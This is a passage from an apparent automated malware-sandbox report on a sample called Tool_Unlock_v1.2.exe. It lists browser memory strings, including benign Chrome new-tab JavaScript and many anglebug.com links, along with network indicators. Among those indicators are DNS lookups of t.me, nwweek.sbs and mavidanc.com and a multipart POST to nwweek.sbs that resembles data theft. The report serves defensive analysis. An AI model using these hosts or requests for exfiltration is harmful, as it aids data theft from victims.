rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000005.00000003.2223621623.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2223531857.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2223729076.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: nwweek.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: mavidanc.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----SJWT2DT2NGVAAAIEUSR1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: nwweek.sbsContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
